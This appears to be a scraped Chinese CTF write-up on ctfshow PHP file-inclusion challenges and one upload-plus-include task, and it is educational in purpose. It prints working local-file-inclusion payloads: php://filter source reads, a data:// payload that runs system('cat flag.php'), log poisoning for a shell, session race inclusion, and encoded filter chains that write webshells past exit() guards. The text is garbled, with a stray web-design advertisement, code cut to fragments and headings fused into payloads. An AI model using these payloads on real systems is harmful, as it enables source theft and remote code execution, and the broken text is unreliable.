這篇文章將為大家詳細(xì)講解有關(guān)php中什么是ctfshow文件包含,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。
站在用戶的角度思考問(wèn)題,與客戶深入溝通,找到代縣網(wǎng)站設(shè)計(jì)與代縣網(wǎng)站推廣的解決方案,憑借多年的經(jīng)驗(yàn),讓設(shè)計(jì)與互聯(lián)網(wǎng)技術(shù)結(jié)合,創(chuàng)造個(gè)性化、用戶體驗(yàn)好的作品,建站類型包括:做網(wǎng)站、成都做網(wǎng)站、企業(yè)官網(wǎng)、英文網(wǎng)站、手機(jī)端網(wǎng)站、網(wǎng)站推廣、域名注冊(cè)、虛擬空間、企業(yè)郵箱。業(yè)務(wù)覆蓋代縣地區(qū)。
直接payload
?file=php://filter/read=convert.base64-encode/resource=flag.phpweb79~Data協(xié)議
過(guò)濾了 php ,所以不能用 php 開(kāi)頭的偽協(xié)議了。
可以使用 data協(xié)議·。
data:// — 數(shù)據(jù)(RFC 2397)
自 PHP 5.2.0 起 data:(? RFC 2397)數(shù)據(jù)流封裝器開(kāi)始有效
受限于 allow_url_fopenNo
受限于 allow_url_includeYes
payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= # PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===>web80~包含日志文件
過(guò)濾了
php
、data
,也就是 php 偽協(xié)議、data 協(xié)議。可以包含日志文件getshell
?file=/var/log/nginx/access.log抓包在 UA 字段換成想要的代碼
,然后包含訪問(wèn),就 getshell了。
web81~包含日志文件
payload:
?file=/var/log/nginx/access.log同樣包含日志文件getshell,
web82~session文件競(jìng)爭(zhēng)包含
這里把點(diǎn)過(guò)濾了,就不能包含日志文件了。
但是我們可以包含 session 文件。
poc:
把上述代碼保存為html或者php文件后,在上傳任意一個(gè)文件。抓包,在把cookie改為Cookie: PHPSESSID=flag
使得session文件為 /tmp/sess_flag
,然后設(shè)置null payload
開(kāi)始一直上傳。
緊接著抓取,
如圖,包含?file=/tmp/sess_flag
文件,競(jìng)爭(zhēng),在沒(méi)刪除前訪問(wèn)到。
得到fl0g.php
,接下來(lái)構(gòu)造上傳文件包得到flag.競(jìng)爭(zhēng)。
https://blog.csdn.net/qq_46091464/article/details/108021053
https://www.freebuf.com/vuls/202819.html
Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14這里出現(xiàn)了
session_unset(); session_destroy();**session_unset()**:釋放當(dāng)前在內(nèi)存中已經(jīng)創(chuàng)建的所有$_SESSION變量,但是不刪除session文件以及不釋放對(duì)應(yīng)的session id; **session_destroy()**:刪除當(dāng)前用戶對(duì)應(yīng)的session文件以及釋放session id,內(nèi)存中$_SESSION變量?jī)?nèi)容依然保留;說(shuō)明上一關(guān)的利用方法已經(jīng)不能使用了。
等等,。。。這兩函數(shù)是在剛開(kāi)始的,在接收函數(shù)之前,與上傳臨時(shí)文件也沒(méi)關(guān)系,所以還是可以用上關(guān)方法的。。。。。。
web84~session文件競(jìng)爭(zhēng)包含
在文件包含之前
rm -rf /tmp/*
刪掉/tmp下所有文件,但同樣存在條件競(jìng)爭(zhēng)。web85~session文件競(jìng)爭(zhēng)包含
0){ die("error"); } include($file); } }else{ highlight_file(__FILE__); }同樣條件競(jìng)爭(zhēng)。
web86~session文件競(jìng)爭(zhēng)包含
define('INCLUDE_PATH','/include/');
set_include_path(INCLUDE);
這樣當(dāng)我們引用 include 中的文件 如 conn.php,smarty_config.php 時(shí),我們直接可以這樣寫(xiě)
include_once('conn.php');
include_once('smarty_config.php');
同樣條件競(jìng)爭(zhēng)。
總結(jié)一下條件競(jìng)爭(zhēng)
linux本身刪除 session_unset(); session_destroy(); system("rm -rf /tmp/*"); if(file_exists($file)){ $content = file_get_contents($file); if(strpos($content, "<")>0){ die("error"); } include($file); }web87~不同變量死亡繞過(guò)
".$content); }else{ highlight_file(__FILE__); }不同變量死亡繞過(guò)。
base64
就可以繞過(guò)/正好是
phpdie
正好是6個(gè)字節(jié),加2為,4的倍數(shù),正好可以bse64解碼。構(gòu)造
php://filter/write=convert.base64-decode/resource=1.php # url 兩次編碼之后 ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30 # post傳參 前面加 aa content=aaPD9waHAgcGhwaW5mbygpOz8+
利用string.rot13
過(guò)濾器構(gòu)造:
php://filter/write=string.rot13/resource=2.php ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30 # post 傳參 content=成功回顯phpinfo();
還可以使用
string.strip_tags
過(guò)濾器。構(gòu)造
?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php /?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%37%30%25%35%66%25%37%34%25%36%31%25%36%37%25%37%33%25%37%63%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30 # post傳入雖然
Deprecated: file_put_contents(): The string.strip_tags filter is deprecated in /var/www/html/index.php on line 21但訪問(wèn)3.php,成功顯示phpinfo頁(yè)面。
可以參考這里
https://yanmie-art.github.io/2020/09/05/%E6%8E%A2%E7%B4%A2php%E4%BC%AA%E5%8D%8F%E8%AE%AE%E4%BB%A5%E5%8F%8A%E6%AD%BB%E4%BA%A1%E7%BB%95%E8%BF%87/
web88~data協(xié)議去等號(hào)
正則匹配黑名單。
發(fā)現(xiàn)過(guò)濾的還是比較多,但是沒(méi)有過(guò)濾 : 那我們就可以使用PHP偽協(xié)議就是 這里使用的是 data://text/plain;base64,poc 其實(shí)和79差不多 只是注意的是編碼成base64的時(shí)候要去掉 =
實(shí)際上就是去掉base64后的=,作為填充使用,不影響結(jié)果
web118
misc+lfikali里面
binwalk
然后foremost
分離出一張png圖片這里過(guò)濾了幾個(gè)過(guò)濾器,常用的base64肯定不能用了。
因?yàn)閔eader 定了
mp4
,所以他給我們返回的是這里直接
?file=flag.php但奈何頁(yè)面只返回一個(gè)上圖頁(yè)面,本想著另存為,但保存不了。
那么就抓包看看響應(yīng)包了。
直接出flag了。
但是我剛開(kāi)始是F12抓包的,看到的是 編碼后的flag,懵逼了一會(huì),才看出了是base64,但沒(méi)想到為啥。。。。
應(yīng)該是返回base64編碼解碼成視頻。。。
找到解碼直接就是flag.
同樣可以使用
convert.iconv.*
詳情看這里 https://yanmie-art.github.io/2020/09/05/%E6%8E%A2%E7%B4%A2php%E4%BC%AA%E5%8D%8F%E8%AE%AE%E4%BB%A5%E5%8F%8A%E6%AD%BB%E4%BA%A1%E7%BB%95%E8%BF%87/
web117~不同變量死亡繞過(guò)USC
".$contents);死亡繞過(guò)不同變量
這里過(guò)濾了
base64
那就是base64-decode
了。過(guò)濾了
string
不能使用字符過(guò)濾器
了,但是
convert
還是可以使用轉(zhuǎn)換過(guò)濾器
可以使用
convert.iconv.*
https://www.php.net/manual/en/filters.convert.php
原理:對(duì)原有字符串進(jìn)行某種編碼然后再解碼,這個(gè)過(guò)程導(dǎo)致最初的限制exit;去除。
構(gòu)造
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php # post contents=?? 可以看到原先的死亡語(yǔ)句已經(jīng)變成了
?
?
https://yanmie-art.github.io/2020/09/05/%E6%8E%A2%E7%B4%A2php%E4%BC%AA%E5%8D%8F%E8%AE%AE%E4%BB%A5%E5%8F%8A%E6%AD%BB%E4%BA%A1%E7%BB%95%E8%BF%87/upload~固定后綴文件包含
題目來(lái)源:
https://www.amanctf.com/challenges/detail/id/5.html
打開(kāi)題目啥也沒(méi)有,F(xiàn)12,看到有
include.php
頁(yè)面顯示
Tips: the parameter is file! :)
傳參
?file=1 # 回顯 Tips: the parameter is file! :) Warning: include(1.php): failed to open stream: No such file or directory in /var/www/html/include.php on line 15 Warning: include(): Failed opening '1.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/include.php on line 15文件包含,但是包含的文件被自動(dòng)化加上了 后綴
.php
.f12看到還有
upload.php
訪問(wèn)是一個(gè)文件上傳功能點(diǎn)。顯然這道題考點(diǎn)文件上傳+文件包含getshell。
測(cè)試這個(gè)功能點(diǎn)是可以上傳的,但是只能上傳jpg,gif等圖片后綴格式。
做題做的有突然想到可以先文件包含看看題目源碼。